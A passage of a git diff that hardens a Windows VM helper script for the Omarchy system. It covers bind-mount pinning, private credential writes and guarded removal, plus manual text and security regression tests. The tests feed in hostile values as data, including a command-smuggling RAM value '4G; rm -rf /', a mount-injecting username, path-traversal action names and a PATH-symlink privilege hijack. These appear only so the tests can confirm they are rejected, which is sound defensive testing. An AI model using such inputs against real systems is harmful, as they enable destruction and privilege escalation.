protected boundary. - if [[ $EXPECTED_STORAGE == "$USERS_DIR/$CALLER_UID/storage" && -d $EXPECTED_STORAGE && ! -L $EXPECTED_STORAGE ]]; then - rm -rf --one-file-system -- "$EXPECTED_STORAGE" - fi + rmdir -- "$EXPECTED_STORAGE" "$EXPECTED_SHARED" "$CALLER_DATA_ROOT" 2>/dev/null || true } # --- config helpers ---------------------------------------------------------- +# Validate both familiar home entries before creating or changing either. A +# legitimate symlink is kept exactly as-is; only its caller-owned directory +# target is used. The privileged half repeats the ownership check on pinned FDs. +preflight_user_mount_source() { + local path="$1" label="$2" uid owner + uid=$(id -u) + if [[ -L $path ]]; then + [[ -d $path ]] || { + echo "omarchy-windows-vm: $label is a broken or non-directory symlink: $path" >&2 + return 1 + } + elif [[ -e $path ]]; then + [[ -d $path ]] || { + echo "omarchy-windows-vm: $label is not a directory: $path" >&2 + return 1 + } + else + return 0 + fi + owner=$(stat -Lc '%u' -- "$path") || return 1 + [[ $owner == "$uid" ]] || { + echo "omarchy-windows-vm: $label must be owned by uid $uid: $path" >&2 + return 1 + } +} + +prepare_user_mount_sources() { + local storage="$HOME/.windows" shared="$HOME/Windows" storage_id shared_id + preflight_user_mount_source "$storage" storage && + preflight_user_mount_source "$shared" shared || return 1 + [[ -e $storage || -L $storage ]] || install -d -m 0700 -- "$storage" || return 1 + [[ -e $shared || -L $shared ]] || install -d -m 0700 -- "$shared" || return 1 + storage_id=$(stat -Lc '%d:%i' -- "$storage") || return 1 + shared_id=$(stat -Lc '%d:%i' -- "$shared") || return 1 + [[ $storage_id != "$shared_id" ]] || { + echo "omarchy-windows-vm: storage and shared must be different directories" >&2 + return 1 + } + chmod 0700 -- "$storage" "$shared" +} + +storage_space_path() { + if [[ -d $HOME/.windows ]]; then + realpath -e -- "$HOME/.windows" + else + printf '%s\n' "$HOME" + fi +} + +available_storage_gb() { + local path + path=$(storage_space_path) || return 1 + df -P -- "$path" | awk 'NR==2 {print int($4/1024/1024)}' +} + # Feed the collected settings to the elevated writer. write_compose() { local ram="$1" cores="$2" disk="$3" username="$4" password="$5" tz="$6" @@ -531,12 +1021,19 @@ unescape() { # password is not world-readable. The password is one validated printable line # (no newline), so plain KEY=VALUE is safe. write_credentials() { - local username="$1" password="$2" old_umask - mkdir -p "$(dirname "$CREDENTIALS_FILE")" + local username="$1" password="$2" old_umask dir tmp + dir=$(dirname -- "$CREDENTIALS_FILE") + mkdir -p "$dir" || return 1 + chmod 0700 "$dir" || return 1 old_umask=$(umask) umask 077 - printf 'USERNAME=%s\nPASSWORD=%s\n' "$username" "$password" >"$CREDENTIALS_FILE" - chmod 600 "$CREDENTIALS_FILE" 2>/dev/null || true + tmp=$(mktemp "$dir/.credentials.XXXXXX") || { umask "$old_umask"; return 1; } + if ! printf 'USERNAME=%s\nPASSWORD=%s\n' "$username" "$password" >"$tmp" || + ! chmod 0600 "$tmp" || ! mv -fT -- "$tmp" "$CREDENTIALS_FILE"; then + rm -f -- "$tmp" + umask "$old_umask" + return 1 + fi umask "$old_umask" } @@ -575,6 +1072,11 @@ migrate_legacy_compose() { password=$(read_compose_value PASSWORD "$LEGACY_COMPOSE_FILE") tz=$(read_compose_value TZ "$LEGACY_COMPOSE_FILE") [[ -z $tz ]] && tz="UTC" + prepare_user_mount_sources || { + echo "Could not validate the existing Windows VM data directories." >&2 + return 1 + } + write_credentials "$username" "$password" || return 1 # The elevated writer derives both mount anchors from the authenticated uid; # it never consumes volume paths from this user-owned legacy file. if ! write_compose "$ram" "$cores" "$disk" "$username" "$password" "$tz"; then @@ -582,7 +1084,6 @@ migrate_legacy_compose() { echo "Re-run: omarchy-windows-vm install" >&2 return 1 fi - write_credentials "$username" "$password" rm -f "$LEGACY_COMPOSE_FILE" } @@ -607,7 +1108,10 @@ check_prerequisites() { fi # Check disk space - AVAILABLE_SPACE=$(df "$HOME" | awk 'NR==2 {print int($4/1024/1024)}') + AVAILABLE_SPACE=$(available_storage_gb) || { + echo "❌ Could not determine available space for $HOME/.windows" >&2 + exit 1 + } if ((AVAILABLE_SPACE < REQUIRED_SPACE)); then echo "❌ Insufficient disk space!" echo " Available: ${AVAILABLE_SPACE}GB" @@ -622,6 +1126,7 @@ install_windows() { # Set up trap to handle Ctrl+C trap "echo ''; echo 'Installation cancelled by user'; exit 1" INT + prepare_user_mount_sources || exit 1 check_prerequisites omarchy-pkg-add freerdp openbsd-netcat gum @@ -678,7 +1183,10 @@ EOF SELECTED_CORES=2 fi - AVAILABLE_SPACE=$(df "$HOME" | awk 'NR==2 {print int($4/1024/1024)}') + AVAILABLE_SPACE=$(available_storage_gb) || { + echo "❌ Could not determine available space for $HOME/.windows" >&2 + exit 1 + } MAX_DISK_GB=$((AVAILABLE_SPACE - 10)) # Leave 10GB for Windows image # Check if we have enough space for minimum @@ -765,14 +1273,17 @@ EOF tz=$(timedatectl show -p Timezone --value 2>/dev/null || echo UTC) # Write the root-owned compose from the validated settings (one prompt if - # sudoless Docker is off). The writer creates protected storage/shared mount - # anchors and leaves the familiar home entries as symlinks to them. + # sudoless Docker is off). The writer pins the familiar home directories (or + # their legitimate symlink targets) into root-protected bind anchors. write_compose "$SELECTED_RAM" "$SELECTED_CORES" "$SELECTED_DISK" \ "$USERNAME" "$PASSWORD" "$tz" || { echo "❌ Failed to write the Windows VM configuration." exit 1 } - write_credentials "$USERNAME" "$PASSWORD" + write_credentials "$USERNAME" "$PASSWORD" || { + echo "❌ Failed to store private RDP credentials." >&2 + exit 1 + } echo "" echo "Starting Windows VM installation..." @@ -817,9 +1328,17 @@ remove_windows() { echo "Removing Windows VM..." - migrate_legacy_compose 2>/dev/null || true + if [[ ! -f $COMPOSE_FILE && -f $LEGACY_COMPOSE_FILE ]]; then + migrate_legacy_compose || { + echo "❌ Could not safely migrate the VM before removal." >&2 + exit 1 + } + fi if [[ -f $COMPOSE_FILE ]]; then - priv remove || true + priv remove || { + echo "❌ Windows VM removal stopped before user-side cleanup; inspect the VM data before retrying." >&2 + exit 1 + } fi rm -f "$HOME/.local/share/applications/windows-vm.desktop" @@ -1009,7 +1528,7 @@ __priv) echo "omarchy-windows-vm: unknown privileged action" >&2 exit 1 } - "__priv_${action}" "$@" + with_vm_lock "__priv_${action}" "$@" ;; install) install_windows diff --git a/manual/28-windows-vm.md b/manual/28-windows-vm.md index e12a74d8..29946466 100644 --- a/manual/28-windows-vm.md +++ b/manual/28-windows-vm.md @@ -28,7 +28,11 @@ omarchy windows vm launch # start and connect The directory `~/Windows` in your home directory is automatically shared with the VM. Put files there if you want them accessible to Windows. The VM has no access to any other part of your file system, so you're safe from anything nasty on the Windows side. Its own virtual disk is available at `~/.windows`. -Those familiar home paths are links to per-user mount anchors in a root-owned `.omarchy-windows` directory beside your home directory. Keeping the anchors on the home filesystem preserves the expected disk location, while their protected parent prevents another process running as you from swapping a checked directory for a symlink while the privileged VM is starting. +Those familiar home paths stay on their own filesystems. They can also be symlinks to directories you own, which is useful when the virtual disk lives on a larger drive. The installer measures free space on the filesystem that actually contains `~/.windows`, not necessarily the filesystem containing your home directory. + +Keep the disk and shared paths as separate, non-overlapping directories. Removal deliberately empties the disk directory but preserves the shared directory. Immediately before deletion, Omarchy performs a bounded containment check and refuses to remove anything if that check times out or cannot prove the two trees are separate. + +Before the VM starts, Omarchy opens and pins those two directories, then bind-mounts the exact directory inodes onto private per-user anchors below `/var/lib/omarchy/windows/mounts`. Docker only sees those root-protected anchors. This preserves custom disk locations while preventing another process running as you from swapping a checked path before the privileged container consumes it. Existing disk and shared directories are tightened to mode `0700` during migration so other local accounts cannot browse their contents. The VM's ports are bound to localhost only, so nothing on your network can reach the Windows machine. diff --git a/test/shell.d/windows-vm-compose-test.sh b/test/shell.d/windows-vm-compose-test.sh index 953f3403..77c298a8 100644 --- a/test/shell.d/windows-vm-compose-test.sh +++ b/test/shell.d/windows-vm-compose-test.sh @@ -1,82 +1,118 @@ #!/bin/bash -# -# The Windows VM compose file is written by an elevated, input-validated writer -# into a root-owned directory. These tests pin the security-critical behavior: -# no input can inject a host-root bind mount or a privileged flag, the password -# survives both the YAML and the compose-interpolation layer, only known -# privileged actions dispatch, and legacy configs migrate without redownloading. +# Security regression coverage for the Windows VM compose/mount boundary. set -euo pipefail - source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" +# Bind mounts need CAP_SYS_ADMIN in a private mount namespace. Keep the +# caller's uid so the non-root development path is exercised. +if [[ ${OMARCHY_WINDOWS_TEST_NAMESPACE:-0} != 1 ]]; then + if unshare --user --map-current-user --keep-caps --mount true 2>/dev/null; then + exec env OMARCHY_WINDOWS_TEST_NAMESPACE=1 \ + unshare --user --map-current-user --keep-caps --mount --propagation private bash "$0" + fi + pass "unprivileged mount namespaces unavailable; skipping Windows VM mount runtime tests" + exit 0 +fi + TMPDIR=$(mktemp -d) -trap 'rm -rf "$TMPDIR"' EXIT export OMARCHY_WINDOWS_DIR="$TMPDIR/win" export HOME="$TMPDIR/home" mkdir -p "$HOME" -# Source the command's functions; the dispatcher just prints usage for "help". set -- help source "$ROOT/bin/omarchy-windows-vm" >/dev/null 2>&1 COMPOSE="$OMARCHY_WINDOWS_DIR/docker-compose.yml" +unmount_all() { + local path + resolve_caller >/dev/null 2>&1 || return 0 + for path in "$EXPECTED_SHARED" "$EXPECTED_STORAGE"; do + while mountpoint -q -- "$path" 2>/dev/null; do umount -- "$path" || break; done + done +} + +cleanup() { + set +e + unmount_all + rm -rf "$TMPDIR" +} +trap cleanup EXIT + write() { # RAM CORES DISK USER PASS TZ printf 'RAM=%s\nCORES=%s\nDISK=%s\nUSERNAME=%s\nPASSWORD=%s\nTZ=%s\n' \ "$@" | __priv_write_compose } -# --- valid compose, with the dangerous bits pinned and unreachable by input --- -rm -f "$COMPOSE" -write 4G 2 64G alice 's3cret' Europe/Copenhagen +fd_count() { find "/proc/$$/fd" -mindepth 1 -maxdepth 1 -printf x | wc -c; } + +reset_case() { + unmount_all + rm -rf "$OMARCHY_WINDOWS_DIR" "$HOME/.windows" "$HOME/Windows" + mkdir -p "$HOME" +} + +# Fixed protected anchors consume the pinned source inodes. +prepare_user_mount_sources +write 4G 2 64G alice s3cret Europe/Copenhagen resolve_caller [[ -f $COMPOSE ]] || fail "writer produced a compose file" grep -q 'image: dockurr/windows' "$COMPOSE" || fail "image is pinned" grep -q -- '- NET_ADMIN' "$COMPOSE" || fail "cap_add is pinned" -grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE" || fail "storage uses the per-uid protected anchor" -grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE" || fail "shared files use the per-uid protected anchor" -[[ -L $HOME/.windows && $(realpath "$HOME/.windows") == "$EXPECTED_STORAGE" ]] || fail "home storage link targets the protected anchor" -[[ -L $HOME/Windows && $(realpath "$HOME/Windows") == "$EXPECTED_SHARED" ]] || fail "home shared link targets the protected anchor" -grep -q -- '- /:/' "$COMPOSE" && fail "compose must never contain a host-root bind mount" -pass "writer derives protected per-uid anchors and emits no host-root mount" +grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE" || fail "storage uses the protected anchor" +grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE" || fail "shared uses the protected anchor" +[[ ! -L $HOME/.windows && ! -L $HOME/Windows ]] || fail "fresh sources stay real directories" +[[ $(stat -Lc '%d:%i' "$HOME/.windows") == $(stat -Lc '%d:%i' "$EXPECTED_STORAGE") ]] || fail "storage bind did not pin source" +[[ $(stat -Lc '%d:%i' "$HOME/Windows") == $(stat -Lc '%d:%i' "$EXPECTED_SHARED") ]] || fail "shared bind did not pin source" +[[ $(stat -Lc '%a' "$EXPECTED_STORAGE") == 700 && $(stat -Lc '%a' "$EXPECTED_SHARED") == 700 ]] || fail "mount leaves are not private" +grep -q -- '- /:/' "$COMPOSE" && fail "compose contains host-root bind" +pass "writer emits fixed anchors bound to exact private source inodes" -# --- injection attempts are rejected, no file written --- +# Input cannot widen a mount or compose field. rm -f "$COMPOSE" -write 4G 2 64G 'x -v /:/h' p UTC 2>/dev/null && fail "malicious username was accepted" -[[ ! -f $COMPOSE ]] || fail "no compose written for a bad username" +write 4G 2 64G 'x -v /:/h' p UTC 2>/dev/null && fail "malicious username accepted" +[[ ! -f $COMPOSE ]] || fail "bad input wrote compose" printf 'RAM=4G\nCORES=2\nDISK=64G\nUSERNAME=ok\nPASSWORD=p\nTZ=UTC\nSTORAGE=/\nSHARED=/etc\n' | __priv_write_compose -grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE" || fail "caller-supplied storage path affected the compose" -grep -q -- '- /:/storage' "$COMPOSE" && fail "host root was accepted as storage" -write '4G; rm -rf /' 2 64G ok p UTC 2>/dev/null && fail "malicious RAM was accepted" -pass "injection attempts are rejected and caller-supplied paths are ignored" +grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE" || fail "caller storage affected compose" +grep -q -- '- /:/storage' "$COMPOSE" && fail "host root accepted as storage" +write '4G; rm -rf /' 2 64G ok p UTC 2>/dev/null && fail "malicious RAM accepted" +pass "input cannot inject a host path or compose field" -# --- password survives YAML (" \) and compose interpolation ($) --- -rm -f "$COMPOSE" tricky='p@$$w:rd$HOME"x\y' write 8G 4 64G bob "$tricky" UTC -grep -q 'PASSWORD: ".*\$\$.*"' "$COMPOSE" || fail "\$ is escaped as \$\$ for compose interpolation" -recovered=$(unescape "$(read_compose_value PASSWORD "$COMPOSE")") -[[ $recovered == "$tricky" ]] || fail "password round-trips through write/unescape" -pass "password with \" \\ and \$ round-trips" +grep -q 'PASSWORD: ".*\$\$.*"' "$COMPOSE" || fail "dollar not escaped" +[[ $(unescape "$(read_compose_value PASSWORD "$COMPOSE")") == "$tricky" ]] || fail "password did not round-trip" +pass "password with quote, backslash, and dollar round-trips" -# --- only known privileged actions may dispatch --- for action in write_compose up up_wait down status remove; do - valid_priv_action "$action" || fail "known privileged action rejected: $action" + valid_priv_action "$action" || fail "known action rejected: $action" done for action in '/../evil/x' bogus 'up;rm' '' '__priv_up'; do - valid_priv_action "$action" && fail "privileged action whitelist accepted: [$action]" + valid_priv_action "$action" && fail "action whitelist accepted: [$action]" done -pass "privileged action whitelist accepts known actions and rejects the rest" +pass "privileged action dispatch is allowlisted" -# --- legacy per-user compose migrates into the root-owned location --- -# A rogue process could have rewritten the user-owned legacy compose to bind -# mount host / into the guest, so migration must ignore its volume paths and -# reconstruct them from the current user's $HOME. -rm -rf "$OMARCHY_WINDOWS_DIR" -rm -rf "$MOUNT_ROOT" -rm -f "$HOME/.windows" "$HOME/Windows" -mkdir -p "$HOME/.config/windows" "$HOME/.windows" "$HOME/Windows" -touch "$HOME/.windows/existing-disk" "$HOME/Windows/existing-shared-file" +# A PATH symlink to bash must never become the pkexec target. Hide the packaged +# file from priv_target's stat checks to exercise the historical fallback. +attack_bin="$TMPDIR/attack-bin" +mkdir -p "$attack_bin" +ln -s /bin/bash "$attack_bin/omarchy-windows-vm" +printf 'printf exploited >"$TMPDIR/exploited"\n' >"$TMPDIR/__priv" +stat() { + [[ ${!#} == /usr/bin/omarchy-windows-vm ]] && return 1 + command stat "$@" +} +PATH="$attack_bin:$PATH" priv_target >/dev/null 2>&1 && fail "PATH symlink became a privileged target" +unset -f stat +[[ ! -e $TMPDIR/exploited ]] || fail "attacker __priv script executed" +pass "pkexec target is only the canonical packaged regular file, never a PATH symlink" + +# Legacy migration keeps directories and legitimate symlinks in place. +reset_case +external_shared="$TMPDIR/external-shared" +mkdir -m 0755 -p "$HOME/.windows" "$external_shared" "$HOME/.config/windows" +ln -s "$external_shared" "$HOME/Windows" +touch "$HOME/.windows/existing-disk" "$external_shared/existing-shared-file" LEGACY_COMPOSE_FILE="$HOME/.config/windows/docker-compose.yml" COMPOSE_FILE="$COMPOSE" cat >"$LEGACY_COMPOSE_FILE" <<'LEG' @@ -93,50 +129,276 @@ services: - /./:/storage - /etc:/shared LEG -# In production the write elevates via pkexec; here run it in-process. -priv() { local a=$1; shift; "__priv_$a" "$@"; } +priv() { local action=$1; shift; "__priv_$action" "$@"; } migrate_legacy_compose -[[ -f $COMPOSE_FILE ]] || fail "migration wrote the root-owned compose" -grep -q 'USERNAME: "legacyuser"' "$COMPOSE_FILE" || fail "migration preserves settings" resolve_caller -grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE_FILE" || fail "migration uses the protected storage anchor" -grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE_FILE" || fail "migration uses the protected shared anchor" -[[ -f $EXPECTED_STORAGE/existing-disk ]] || fail "migration preserves the existing disk data" -[[ -f $EXPECTED_SHARED/existing-shared-file ]] || fail "migration preserves existing shared files" -[[ -L $HOME/.windows && -L $HOME/Windows ]] || fail "migration replaces home entries with compatibility links" -grep -q -- '- /:/' "$COMPOSE_FILE" && fail "migration must not carry a host-root bind mount from a tampered legacy file" -grep -q -- '- /etc:/shared' "$COMPOSE_FILE" && fail "migration must not carry a tampered legacy volume path" -[[ ! -f $LEGACY_COMPOSE_FILE ]] || fail "migration removes the legacy compose" -pass "legacy migration pins existing data and ignores tampered legacy volumes" +[[ -f $COMPOSE ]] || fail "migration did not write compose" +grep -q 'USERNAME: "legacyuser"' "$COMPOSE" || fail "migration lost settings" +[[ -f $HOME/.windows/existing-disk && -f $external_shared/existing-shared-file ]] || fail "migration lost data" +[[ ! -L $HOME/.windows && $(readlink "$HOME/Windows") == "$external_shared" ]] || fail "migration consumed source path" +[[ $(stat -Lc '%a' "$HOME/.windows") == 700 && $(stat -Lc '%a' "$external_shared") == 700 ]] || fail "migration did not harden legacy directories" +grep -q -- '- /:/' "$COMPOSE" && fail "migration copied malicious storage" +grep -q -- '- /etc:/shared' "$COMPOSE" && fail "migration copied malicious share" +[[ ! -f $LEGACY_COMPOSE_FILE ]] || fail "migration left legacy compose" +pass "migration preserves data and symlinks while hardening permissions" -# --- bring-up accepts only the derived pair in a trusted compose --- -assert_mounts_safe || fail "real directory mount sources are accepted" +# Bring-up re-proves compose trust, cardinality, and mounted identities. +assert_mounts_safe || fail "verified sources rejected" sed -i "s|$EXPECTED_SHARED:/shared|/etc:/shared|" "$COMPOSE" -assert_mounts_safe 2>/dev/null && fail "a tampered host path must be refused" +assert_mounts_safe 2>/dev/null && fail "tampered host path accepted" sed -i "s|/etc:/shared|$EXPECTED_SHARED:/shared|" "$COMPOSE" +printf ' - %s:/storage\n' "$EXPECTED_STORAGE" >>"$COMPOSE" +assert_mounts_safe 2>/dev/null && fail "duplicate destination accepted" +write 16G 6 128G legacyuser legacypass America/New_York chmod 0666 "$COMPOSE" -assert_mounts_safe 2>/dev/null && fail "a user-writable compose must be refused" +assert_mounts_safe 2>/dev/null && fail "writable compose accepted" chmod 0640 "$COMPOSE" -pass "bring-up rejects unexpected mounts and a writable compose" +pass "bring-up rejects tampered, duplicate, and writable compose inputs" -# --- a symlink supplied as legacy data is renamed below the protected parent -# before inspection, then quarantined rather than followed --- -rm -rf "$OMARCHY_WINDOWS_DIR" -rm -rf "$MOUNT_ROOT" -rm -f "$HOME/.windows" "$HOME/Windows" -ln -s / "$HOME/.windows" -mkdir -p "$HOME/Windows" -rm -f "$COMPOSE" -write 4G 2 64G dave pw UTC 2>/dev/null && fail "a symlinked legacy data entry was accepted" -[[ ! -f $COMPOSE ]] || fail "no compose is written for a symlinked legacy entry" -[[ ! -L $MOUNT_ROOT/users/$(id -u)/storage ]] || fail "the mount anchor must not remain a symlink" -find "$MOUNT_ROOT/users/$(id -u)" -maxdepth 1 -type l -name 'rejected-storage-*' | grep -q . || fail "the rejected symlink was not quarantined" -pass "migration pins and rejects a symlinked legacy data entry" +# Both sources are pinned before a bind; bad symlinks stay untouched. +reset_case +mkdir -p "$HOME/.windows" +ln -s / "$HOME/Windows" +before_fds=$(fd_count) +prepare_user_mount_sources 2>/dev/null && fail "root symlink passed user preflight" +[[ -L $HOME/Windows && $(readlink "$HOME/Windows") == / ]] || fail "rejected symlink consumed" +printf 'RAM=4G\nCORES=2\nDISK=64G\nUSERNAME=x\nPASSWORD=p\nTZ=UTC\n' | __priv_write_compose 2>/dev/null && fail "root symlink passed privileged preflight" +resolve_caller +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 0 && $(mount_layer_count "$EXPECTED_SHARED") == 0 ]] || fail "one source mounted before other failed" +[[ $(fd_count) == "$before_fds" ]] || fail "source preflight leaked FD" +find "$CALLER_DATA_ROOT" -name 'rejected-*' -print -quit | grep -q . && fail "source was quarantined" +pass "invalid second source leaves paths and anchors untouched and leaks no FD" -# --- credentials are stored privately and round-trip (incl. = in password) --- -export CREDENTIALS_FILE="$TMPDIR/creds" -write_credentials 'carol' 'p=a$$w"x' -[[ $(stat -c '%a' "$CREDENTIALS_FILE") == "600" ]] || fail "credentials file is 0600" -[[ $(read_credential USERNAME) == "carol" ]] || fail "username round-trips" -[[ $(read_credential PASSWORD) == 'p=a$$w"x' ]] || fail "password (with =) round-trips" -pass "credentials are written 0600 and round-trip" +# Distinct caller-owned symlink targets are supported and remain links. +reset_case +external_storage="$TMPDIR/external-storage" +external_shared2="$TMPDIR/external-shared-2" +mkdir -p "$external_storage" "$external_shared2" +ln -s "$external_storage" "$HOME/.windows" +ln -s "$external_shared2" "$HOME/Windows" +prepare_user_mount_sources +write 4G 2 64G symlinked pw UTC +resolve_caller +[[ $(readlink "$HOME/.windows") == "$external_storage" && $(readlink "$HOME/Windows") == "$external_shared2" ]] || fail "writer replaced symlinks" +[[ $(stat -Lc '%d:%i' "$EXPECTED_STORAGE") == $(stat -Lc '%d:%i' "$external_storage") ]] || fail "symlink target not pinned" +pass "legitimate caller-owned symlinks remain in place" + +# Same-inode sources fail before mounting and close both descriptors. +reset_case +same="$TMPDIR/same-source" +mkdir -p "$same" +ln -s "$same" "$HOME/.windows" +ln -s "$same" "$HOME/Windows" +before_fds=$(fd_count) +prepare_user_mount_sources 2>/dev/null && fail "same source passed user preflight" +printf 'RAM=4G\nCORES=2\nDISK=64G\nUSERNAME=x\nPASSWORD=p\nTZ=UTC\n' | __priv_write_compose 2>/dev/null && fail "same source passed root preflight" +resolve_caller +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 0 && $(mount_layer_count "$EXPECTED_SHARED") == 0 ]] || fail "same source left mount" +[[ $(fd_count) == "$before_fds" ]] || fail "same source leaked FDs" +pass "storage and shared must differ and failure closes FDs" + +# Ancestor/descendant aliases are just as destructive as same-inode aliases: +# removal must never recurse from storage into shared (or accept the inverse). +reset_case +shared_inside="$TMPDIR/shared-inside-storage" +mkdir -p "$shared_inside/storage/shared" +ln -s "$shared_inside/storage" "$HOME/.windows" +ln -s "$shared_inside/storage/shared" "$HOME/Windows" +prepare_user_mount_sources +before_fds=$(fd_count) +write 4G 2 64G nested pw UTC 2>/dev/null && fail "shared-inside-storage sources were accepted" +resolve_caller +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 0 && $(mount_layer_count "$EXPECTED_SHARED") == 0 ]] || fail "shared-inside-storage failure left a mount" +[[ $(fd_count) == "$before_fds" ]] || fail "shared-inside-storage failure leaked FDs" + +reset_case +storage_inside="$TMPDIR/storage-inside-shared" +mkdir -p "$storage_inside/shared/storage" +ln -s "$storage_inside/shared/storage" "$HOME/.windows" +ln -s "$storage_inside/shared" "$HOME/Windows" +prepare_user_mount_sources +before_fds=$(fd_count) +write 4G 2 64G nested pw UTC 2>/dev/null && fail "storage-inside-shared sources were accepted" +resolve_caller +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 0 && $(mount_layer_count "$EXPECTED_SHARED") == 0 ]] || fail "storage-inside-shared failure left a mount" +[[ $(fd_count) == "$before_fds" ]] || fail "storage-inside-shared failure leaked FDs" +pass "pinned-FD ancestry checks reject overlap in both directions before mounting" + +# Exact bind-alias bypass regression: the shared FD's visible parent is the +# alias directory, but its inode is still reachable below storage. +reset_case +alias_under="$TMPDIR/bind-alias-under" +alias_shared="$TMPDIR/bind-alias-shared" +mkdir -p "$alias_under/storage/shared" "$alias_shared" +mount --no-canonicalize --bind "$alias_under/storage/shared" "$alias_shared" +ln -s "$alias_under/storage" "$HOME/.windows" +ln -s "$alias_shared" "$HOME/Windows" +prepare_user_mount_sources +before_fds=$(fd_count) +resolve_caller +open_mount_source "$LEGACY_STORAGE" storage +alias_storage_fd=$OPENED_MOUNT_FD +alias_storage_id=$OPENED_MOUNT_ID +open_mount_source "$LEGACY_SHARED" shared +alias_shared_fd=$OPENED_MOUNT_FD +pinned_dir_contains "$alias_storage_id" "$alias_shared_fd" && fail "bind-alias repro unexpectedly shared the underlying parent walk" +pinned_tree_contains "$alias_storage_fd" "$alias_shared_fd" || fail "tree-rooted discovery missed the bind-alias inode" +exec {alias_storage_fd}<&- +exec {alias_shared_fd}<&- +write 4G 2 64G alias pw UTC +resolve_caller +touch "$HOME/.windows/disk.img" "$HOME/Windows/keep.txt" +dc() { :; } +docker() { [[ $1 == inspect ]] && return 1; :; } +__priv_remove 2>/dev/null && fail "removal accepted a shared bind alias into storage" +[[ -f $HOME/.windows/disk.img && -f $HOME/Windows/keep.txt && -f $COMPOSE ]] || fail "bind-alias removal refusal changed state" +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 1 && $(mount_layer_count "$EXPECTED_SHARED") == 1 ]] || fail "bind-alias removal refusal changed mounts" +[[ $(fd_count) == "$before_fds" ]] || fail "bind-alias removal refusal leaked FDs" +unmount_all +umount -- "$alias_shared" +pass "cheap startup permits a bind alias, but bounded removal discovery refuses it" + +# A late writer failure rolls back both newly-created binds. +reset_case +prepare_user_mount_sources +mv() { return 1; } +write 4G 2 64G rollback pw UTC 2>/dev/null && fail "forced writer failure succeeded" +unset -f mv +resolve_caller +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 0 && $(mount_layer_count "$EXPECTED_SHARED") == 0 ]] || fail "writer failure left binds" +[[ ! -f $COMPOSE ]] || fail "writer failure replaced compose" +pass "atomic writer failure rolls back both new bind mounts" + +# Revalidate ancestry during removal: move the already-bound shared inode below +# storage, keep its familiar path as a symlink, and prove nothing is deleted. +reset_case +prepare_user_mount_sources +write 4G 2 64G moved pw UTC +touch "$HOME/.windows/disk.img" "$HOME/Windows/keep.txt" +mv "$HOME/Windows" "$HOME/.windows/moved-shared" +ln -s "$HOME/.windows/moved-shared" "$HOME/Windows" +dc() { :; } +docker() { [[ $1 == inspect ]] && return 1; :; } +__priv_remove 2>/dev/null && fail "removal accepted a shared inode moved below storage" +[[ -f $HOME/.windows/disk.img && -f $HOME/.windows/moved-shared/keep.txt && -f $COMPOSE ]] || fail "overlap rejection changed disk, shared data, or compose" +pass "removal revalidates pinned ancestry and leaves moved shared data untouched" + +# Even when both familiar paths remain disjoint, a same-filesystem bind of the +# pinned shared inode introduced below storage must stop removal before change. +reset_case +prepare_user_mount_sources +write 4G 2 64G removal-alias pw UTC +touch "$HOME/.windows/disk.img" "$HOME/Windows/keep.txt" +mkdir "$HOME/.windows/shared-bind-alias" +mount --no-canonicalize --bind "$HOME/Windows" "$HOME/.windows/shared-bind-alias" +__priv_remove 2>/dev/null && fail "removal missed a shared bind alias introduced below storage" +[[ -f $HOME/.windows/disk.img && -f $HOME/Windows/keep.txt && -f $COMPOSE ]] || fail "removal bind-alias rejection changed state" +umount -- "$HOME/.windows/shared-bind-alias" +pass "removal tree discovery catches a shared alias not used by either home path" + +# A direct alias on another filesystem is still visited by find -xdev at its +# mountpoint and must be rejected, while unrelated separate filesystems remain +# supported by the root suite. +reset_case +prepare_user_mount_sources +mount -t tmpfs -o uid="$(id -u)",gid="$(id -g)",mode=0700,size=8m crossdev-shared "$HOME/Windows" +touch "$HOME/Windows/keep.txt" +write 4G 2 64G crossdev-alias pw UTC +touch "$HOME/.windows/disk.img" +mkdir "$HOME/.windows/crossdev-shared-alias" +mount --no-canonicalize --bind "$HOME/Windows" "$HOME/.windows/crossdev-shared-alias" +__priv_remove 2>/dev/null && fail "removal missed a different-device shared alias below storage" +[[ -f $HOME/.windows/disk.img && -f $HOME/Windows/keep.txt && -f $COMPOSE ]] || fail "cross-device alias rejection changed state" +umount -- "$HOME/.windows/crossdev-shared-alias" +unmount_all +umount -- "$HOME/Windows" +pass "removal catches a direct different-filesystem shared alias at the xdev boundary" + +# Recursive alias discovery is destructive-removal-only and bounded. A hung or +# failing scanner must fail closed before the disk, share, compose, or mounts +# are changed. +reset_case +prepare_user_mount_sources +write 4G 2 64G scan-failure pw UTC +touch "$HOME/.windows/disk.img" "$HOME/Windows/keep.txt" +scan_helper="$TMPDIR/tree-scan-helper" +saved_tree_scan_find=$TREE_SCAN_FIND +saved_tree_scan_timeout=$TREE_SCAN_TIMEOUT_SECONDS +saved_tree_scan_kill_after=$TREE_SCAN_KILL_AFTER_SECONDS +printf '#!/bin/bash\n/bin/sleep 10\n' >"$scan_helper" +chmod 0700 "$scan_helper" +TREE_SCAN_FIND=$scan_helper +TREE_SCAN_TIMEOUT_SECONDS=0.05 +TREE_SCAN_KILL_AFTER_SECONDS=0.05 +__priv_remove 2>/dev/null && fail "removal continued after its containment scan timed out" +[[ -f $HOME/.windows/disk.img && -f $HOME/Windows/keep.txt && -f $COMPOSE ]] || fail "timed-out containment scan changed state" +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 1 && $(mount_layer_count "$EXPECTED_SHARED") == 1 ]] || fail "timed-out containment scan changed mounts" + +printf '#!/bin/bash\nexit 42\n' >"$scan_helper" +__priv_remove 2>/dev/null && fail "removal continued after its containment scanner failed" +[[ -f $HOME/.windows/disk.img && -f $HOME/Windows/keep.txt && -f $COMPOSE ]] || fail "failed containment scan changed state" +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 1 && 